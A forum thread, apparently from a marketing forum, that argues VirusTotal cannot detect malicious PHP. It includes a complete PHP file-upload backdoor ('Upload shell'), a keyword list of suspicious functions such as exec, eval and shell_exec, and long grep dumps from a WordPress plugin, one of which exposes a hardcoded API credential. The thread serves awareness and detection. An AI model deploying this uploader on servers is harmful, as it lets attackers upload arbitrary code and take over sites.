[POC] Why VT scans shouldn't ever be trusted for detecting malicious web scripts.

Gogol

Gogol

Administrator
Staff member
Moderator
Executive VIP
Jr. VIP
Joined
Sep 10, 2010
Messages
11,806
Reaction score
26,657
VT scan is a great way to detect malicious executable files, but now a days I see people trusting even web scripts after doing just a VT scan. VT is totally nuts when it comes to detecting malicious php scripts, themes etc. So, I thought I would make a thread showing you why you should not ever trust VT for these files.

I have uploaded a php script which is a very simple and basic php uploader and can result in RFI attack in the server.
You can download this from:
http://www.mediafire.com/file/h19x6q789ueopfg/test.php/file


If you read this thread later and the file is taken down, copy paste the following code to a file and save it as a php file.
Code: 
<?php
if(isset($_FILES['filename'])){
    $destFile = dirname(__FILE__)."/testname.php";
    move_uploaded_file( $_FILES['filename']['tmp_name'], $destFile );
    echo "shell uploaded";
}
?>
<html><head></head><body>
<form method="post" enctype="multipart/form-data">
<input type="file" name="filename">
<br/>
<input type="submit" value="Upload shell"/>

</form>
</body></html>
VirusTotal scan for the file is:
Code: 
https://www.virustotal.com/#/file/73da103e608a05b2eb836f8add9ff03296d9d2f3d2122f7f44cae020de6d7fe7/detection

Which says that the file is clean. Well, it's not!
If you upload this file to your server and run it, it will let you upload any arbitrary file you want in the same folder where your file is. This is known as backdoors (I guess? Correct me if it is known as something else) and VTs won't be able to detect them. Many nulled themes contain these type of backdoors and they easily pass through VT scans without ringing any bell.

Perhaps I should have posted this in the downloads section, but I am not sure. @Mods, please feel free to move it to the proper section if needed.

I hope it helps another web developer out there. Beware!
 
Last edited:
Advertise on BHW
Good point.
BTWs VT isn't that great for detecting malicious executable files as well. There are many 'crypting' tools available that can make a malicious executable Fully UnDetectable with the click of a button. Some of these tools are available for free. A sophisticated hacker usually 'crypts' his virus manually making them extremely hard to detect by most anti-virus software out there.

The best way to keep your PC is safe is to not download anything from an untrusted source.
 
Always know not to trust scripts with online scans. However, helps a lot with software or other files.
 
Any recommendations how to detect malicious codes?
 
joney said:
Any recommendations how to detect malicious codes?
Click to expand...
I manually scan them for fishy code snippets. It takes time & experience to get it right though. Plus, editors like notepad++ is pretty good for scanning footprints (folder search). common footprints include (but not limited to)
Code: 
exec
base64_encode
base62_encode
base64_decode
base62_decode
cmd
shell_exec
move_uploaded_file
fwrite
eval
etc..

I will then check the result set, go to each of those result and look what code is that. If it looks fishy, I will not use the script.
 
Last edited:
Gogol said:
I manually scan them for fishy code snippets. It takes time & experience to get it right though. Plus, editors like notepad++ is pretty good for scanning footprints (folder search). common footprints include (but not limited to)
Code: 
exec
base64_encode
base62_encode
base64_decode
base62_decode
cmd
shell_exec
move_uploaded_file
fwrite
eval
etc..

I will then check the result set, go to each of those result and look what code is that. If it looks fishy, I will not use the script.
Click to expand...


So I downloaded a plugin and wanted to scan files with notepad ++ And I'm getting this with scanning for base64_encode
but how would I know that code is a normal bit of code?

Here's the result
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\campaignsProcessor.php (2 hits)
Line 110: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
Line 243: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.amazon.less.php (2 hits)
Line 20: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 469: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.amazon.php (2 hits)
Line 16: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 514: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.careerjet.php (2 hits)
Line 16: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 203: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\Downloads\wp-automatic-3.55.1\wp-automatic\core.clickbank.php (1 hit)
Line 20: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.craigslist.php (3 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 197: $data = ( base64_encode( serialize ( $item ) ) );
Line 236: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\Downloads\wp-automatic-3.55.1\wp-automatic\core.dailymotion.php (3 hits)
Line 20: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 217: $data = ( base64_encode( serialize ( $itm ) ) );
Line 243: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\Downloads\wp-automatic-3.55.1\wp-automatic\core.ebay copy.php (3 hits)
Line 23: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 332: $data = base64_encode(serialize ( $itm ));
Line 371: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.ebay.php (4 hits)
Line 31: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 413: $data = base64_encode(serialize ( $itm ));
Line 452: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 1060: $hash = base64_encode( $wp_automatic_ebay_app . ':' . $wp_automatic_ebay_app_secret );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.envato.php (2 hits)
Line 26: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 340: $data = ( base64_encode( serialize ( $itm ) ) );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.ezinearticles.php (1 hit)
Line 17: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.facebook.php (1 hit)
Line 260: update_post_meta ( $camp->camp_id, 'wp_automatic_cache', base64_encode ( $exec ) );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.feeds.php (1 hit)
Line 78: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.flicker.php (1 hit)
Line 24: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.instagram.php (2 hits)
Line 392: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 751: $data = base64_encode ( serialize ( $itm ) );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.itunes.php (2 hits)
Line 22: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 335: $data = ( base64_encode( serialize ( $itm ) ) );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.php (2 hits)
Line 198: $campaign->camp_general = base64_encode ( $campaign->camp_general );
Line 280: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.pinterest.php (2 hits)
Line 168: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 450: $data = base64_encode(serialize ( $itm ));
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.reddit.php (2 hits)
Line 16: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 243: $data = (base64_encode ( serialize ( $item ) ));
C:\Users\Downloads\wp-automatic-3.55.1\wp-automatic\core.single.php (1 hit)
Line 11: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.soundcloud.php (2 hits)
Line 137: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 385: $data = base64_encode ( serialize ( $itm ) );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.tiktok.php (2 hits)
Line 238: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 488: $data = base64_encode ( serialize ( $itm ) );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.twitter.php (3 hits)
Line 25: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 71: $concatedBase64 = base64_encode($concated);
Line 349: $data = base64_encode(serialize ( $itm ));
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.vimeo.php (2 hits)
Line 144: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 305: $data = base64_encode(serialize ( $itm ));
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.walmart.php (2 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 250: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.youtube.php (3 hits)
Line 24: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 419: $general = base64_encode ( serialize ( $general ) );
Line 440: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\metabox_time.php (1 hit)
Line 28: if( stristr($res->camp_general, 'a:') ) $res->camp_general=base64_encode($res->camp_general);
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\plugin-updates\Puc\v4p9\OAuthSignature.php (1 hit)
Line 71: $parameters['oauth_signature'] = base64_encode(hash_hmac('sha1', $stringToSign, $secret, true));
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\plugin-updates\Puc\v4p9\Vcs\GitHubApi.php (1 hit)
Line 437: return 'Basic ' . base64_encode($this->userName . ':' . $this->accessToken);
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\post_type.php (1 hit)
Line 26: $icon = 'data:image/svg+xml;base64,' . base64_encode('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024"><path fill="#a7aaad" d="M413.802 191.458c-111.928 20.093-222.021 75.366-298.293 149.826-45.215 43.403-62.59 66.237-84.971 110.999-23.763 47.050-32.892 94.1-26.028 137.503 18.281 120.151 133.856 201.452 338.502 239.373 44.309 8.223 70.36 10.058 166.748 10.058 99.582 0.453 121.51-0.906 172.23-10.058 165.819-29.698 279.582-94.1 320.674-181.359 83.589-175.877-118.316-408.386-396.516-456.818-49.791-8.676-142.985-8.223-192.323 0.453zM342.083 495.709c45.215 16.899 80.395 51.173 80.395 79.036 0 30.604-29.698 46.597-71.719 38.374-68.525-12.799-126.992-64.878-113.287-100.511 11.87-31.51 48.885-36.992 104.611-16.899zM771.491 493.421c39.28 24.669 7.77 80.848-62.137 108.711-52.532 21.022-95.029 15.54-106.446-14.611-10.058-26.957 18.734-64.402 67.143-86.806 43.403-19.64 78.107-22.381 101.417-7.317z"></path>
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\p_meta.php (1 hit)
Line 225: $camp_general = base64_encode(serialize($camp_general));
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\p_metabox.php (1 hit)
Line 148: if( stristr($res->camp_general, 'a:') ) $res->camp_general=base64_encode($res->camp_general);
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\p_options.php (1 hit)
Line 8: $state = base64_encode($actual_link);
C:\Users\Downloads\wp-automatic-3.55.1\wp-automatic\test_ebay.php (1 hit)
Line 21: $hash = base64_encode('Mohammed-mytestAP-PRD-1d7490b6a-c6a9fb25:PRD-d7490b6aba63-119a-4cdc-9433-0e6d');
 
CFT said:
So I downloaded a plugin and wanted to scan files with notepad ++ And I'm getting this with scanning for base64_encode
but how would I know that code is a normal bit of code?

Here's the result
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\campaignsProcessor.php (2 hits)
Line 110: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
Line 243: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.amazon.less.php (2 hits)
Line 20: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 469: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.amazon.php (2 hits)
Line 16: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 514: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.careerjet.php (2 hits)
Line 16: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 203: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\Downloads\wp-automatic-3.55.1\wp-automatic\core.clickbank.php (1 hit)
Line 20: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.craigslist.php (3 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 197: $data = ( base64_encode( serialize ( $item ) ) );
Line 236: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\Downloads\wp-automatic-3.55.1\wp-automatic\core.dailymotion.php (3 hits)
Line 20: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 217: $data = ( base64_encode( serialize ( $itm ) ) );
Line 243: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\Downloads\wp-automatic-3.55.1\wp-automatic\core.ebay copy.php (3 hits)
Line 23: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 332: $data = base64_encode(serialize ( $itm ));
Line 371: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.ebay.php (4 hits)
Line 31: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 413: $data = base64_encode(serialize ( $itm ));
Line 452: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 1060: $hash = base64_encode( $wp_automatic_ebay_app . ':' . $wp_automatic_ebay_app_secret );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.envato.php (2 hits)
Line 26: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 340: $data = ( base64_encode( serialize ( $itm ) ) );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.ezinearticles.php (1 hit)
Line 17: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.facebook.php (1 hit)
Line 260: update_post_meta ( $camp->camp_id, 'wp_automatic_cache', base64_encode ( $exec ) );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.feeds.php (1 hit)
Line 78: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.flicker.php (1 hit)
Line 24: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.instagram.php (2 hits)
Line 392: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 751: $data = base64_encode ( serialize ( $itm ) );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.itunes.php (2 hits)
Line 22: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 335: $data = ( base64_encode( serialize ( $itm ) ) );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.php (2 hits)
Line 198: $campaign->camp_general = base64_encode ( $campaign->camp_general );
Line 280: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.pinterest.php (2 hits)
Line 168: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 450: $data = base64_encode(serialize ( $itm ));
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.reddit.php (2 hits)
Line 16: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 243: $data = (base64_encode ( serialize ( $item ) ));
C:\Users\Downloads\wp-automatic-3.55.1\wp-automatic\core.single.php (1 hit)
Line 11: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.soundcloud.php (2 hits)
Line 137: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 385: $data = base64_encode ( serialize ( $itm ) );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.tiktok.php (2 hits)
Line 238: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 488: $data = base64_encode ( serialize ( $itm ) );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.twitter.php (3 hits)
Line 25: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 71: $concatedBase64 = base64_encode($concated);
Line 349: $data = base64_encode(serialize ( $itm ));
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.vimeo.php (2 hits)
Line 144: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 305: $data = base64_encode(serialize ( $itm ));
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.walmart.php (2 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 250: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\core.youtube.php (3 hits)
Line 24: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 419: $general = base64_encode ( serialize ( $general ) );
Line 440: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\metabox_time.php (1 hit)
Line 28: if( stristr($res->camp_general, 'a:') ) $res->camp_general=base64_encode($res->camp_general);
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\plugin-updates\Puc\v4p9\OAuthSignature.php (1 hit)
Line 71: $parameters['oauth_signature'] = base64_encode(hash_hmac('sha1', $stringToSign, $secret, true));
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\plugin-updates\Puc\v4p9\Vcs\GitHubApi.php (1 hit)
Line 437: return 'Basic ' . base64_encode($this->userName . ':' . $this->accessToken);
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\post_type.php (1 hit)
Line 26: $icon = 'data:image/svg+xml;base64,' . base64_encode('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024"><path fill="#a7aaad" d="M413.802 191.458c-111.928 20.093-222.021 75.366-298.293 149.826-45.215 43.403-62.59 66.237-84.971 110.999-23.763 47.050-32.892 94.1-26.028 137.503 18.281 120.151 133.856 201.452 338.502 239.373 44.309 8.223 70.36 10.058 166.748 10.058 99.582 0.453 121.51-0.906 172.23-10.058 165.819-29.698 279.582-94.1 320.674-181.359 83.589-175.877-118.316-408.386-396.516-456.818-49.791-8.676-142.985-8.223-192.323 0.453zM342.083 495.709c45.215 16.899 80.395 51.173 80.395 79.036 0 30.604-29.698 46.597-71.719 38.374-68.525-12.799-126.992-64.878-113.287-100.511 11.87-31.51 48.885-36.992 104.611-16.899zM771.491 493.421c39.28 24.669 7.77 80.848-62.137 108.711-52.532 21.022-95.029 15.54-106.446-14.611-10.058-26.957 18.734-64.402 67.143-86.806 43.403-19.64 78.107-22.381 101.417-7.317z"></path>
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\p_meta.php (1 hit)
Line 225: $camp_general = base64_encode(serialize($camp_general));
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\p_metabox.php (1 hit)
Line 148: if( stristr($res->camp_general, 'a:') ) $res->camp_general=base64_encode($res->camp_general);
C:\Users\\Downloads\wp-automatic-3.55.1\wp-automatic\p_options.php (1 hit)
Line 8: $state = base64_encode($actual_link);
C:\Users\Downloads\wp-automatic-3.55.1\wp-automatic\test_ebay.php (1 hit)
Line 21: $hash = base64_encode('Mohammed-mytestAP-PRD-1d7490b6a-c6a9fb25:pRD-d7490b6aba63-119a-4cdc-9433-0e6d');
Click to expand...
Looks about right, except for that last line. Hard to say just by looking at the search result. Try digging deeper, specially that last line.

P.s. try the other keywords too.
 
Yes that last line does look a bit sus because I have another version of the plugin but older and it doesn't have that line
I will try the other queries
 
More code i'm getting so many hits i don't know what I'm actually looking for


C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\campaignsProcessor.php (2 hits)
Line 96: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
Line 165: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.amazon.less.php (2 hits)
Line 14: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 471: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.amazon.php (2 hits)
Line 16: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 555: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.careerjet.php (2 hits)
Line 16: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 202: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.clickbank.php (1 hit)
Line 20: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.craigslist.php (2 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 187: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.dailymotion.php (3 hits)
Line 20: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 217: $data = ( base64_encode( serialize ( $itm ) ) );
Line 243: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.ebay.php (3 hits)
Line 22: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 259: $data = base64_encode(serialize ( $itm ));
Line 298: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.envato.php (2 hits)
Line 26: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 340: $data = ( base64_encode( serialize ( $itm ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.facebook.php (1 hit)
Line 220: update_post_meta($camp->camp_id, 'wp_automatic_cache', base64_encode($exec));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.feeds.php (1 hit)
Line 75: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.flicker.php (1 hit)
Line 24: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.instagram.php (2 hits)
Line 431: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 703: $data = base64_encode( serialize ( $itm ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.itunes.php (2 hits)
Line 22: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 335: $data = ( base64_encode( serialize ( $itm ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.php (2 hits)
Line 193: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
Line 274: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.pinterest.php (2 hits)
Line 168: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 444: $data = base64_encode(serialize ( $itm ));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.reddit.php (2 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 236: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.single.php (1 hit)
Line 12: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.soundcloud.php (2 hits)
Line 150: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 344: $data = base64_encode(serialize ( $itm ));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.twitter.php (3 hits)
Line 25: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 71: $concatedBase64 = base64_encode($concated);
Line 331: $data = base64_encode(serialize ( $itm ));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.vimeo.php (2 hits)
Line 144: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 305: $data = base64_encode(serialize ( $itm ));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.walmart.php (2 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 250: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.youtube.php (3 hits)
Line 26: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 368: $general = base64_encode(serialize($general));
Line 397: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\inc\aws_signed_request.php (1 hit)
Line 76: $signature = base64_encode(hash_hmac("sha256", $string_to_sign, $private_key, True));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\metabox_time.php (1 hit)
Line 28: if( stristr($res->camp_general, 'a:') ) $res->camp_general=base64_encode($res->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\plugin-updates\Puc\v4p8\OAuthSignature.php (1 hit)
Line 71: $parameters['oauth_signature'] = base64_encode(hash_hmac('sha1', $stringToSign, $secret, true));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\p_meta.php (1 hit)
Line 223: $camp_general = base64_encode(serialize($camp_general));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\p_metabox.php (1 hit)
Line 147: if( stristr($res->camp_general, 'a:') ) $res->camp_general=base64_encode($res->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\p_options.php (1 hit)
Line 8: $state = base64_encode($actual_link);
Search "base64_encode" (61 hits in 34 files)
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\campaignsProcessor.php (2 hits)
Line 110: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
Line 243: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.amazon.less.php (2 hits)
Line 20: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 469: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.amazon.php (2 hits)
Line 16: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 514: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.careerjet.php (2 hits)
Line 16: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 203: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.clickbank.php (1 hit)
Line 20: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.craigslist.php (3 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 197: $data = ( base64_encode( serialize ( $item ) ) );
Line 236: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.dailymotion.php (3 hits)
Line 20: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 217: $data = ( base64_encode( serialize ( $itm ) ) );
Line 243: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
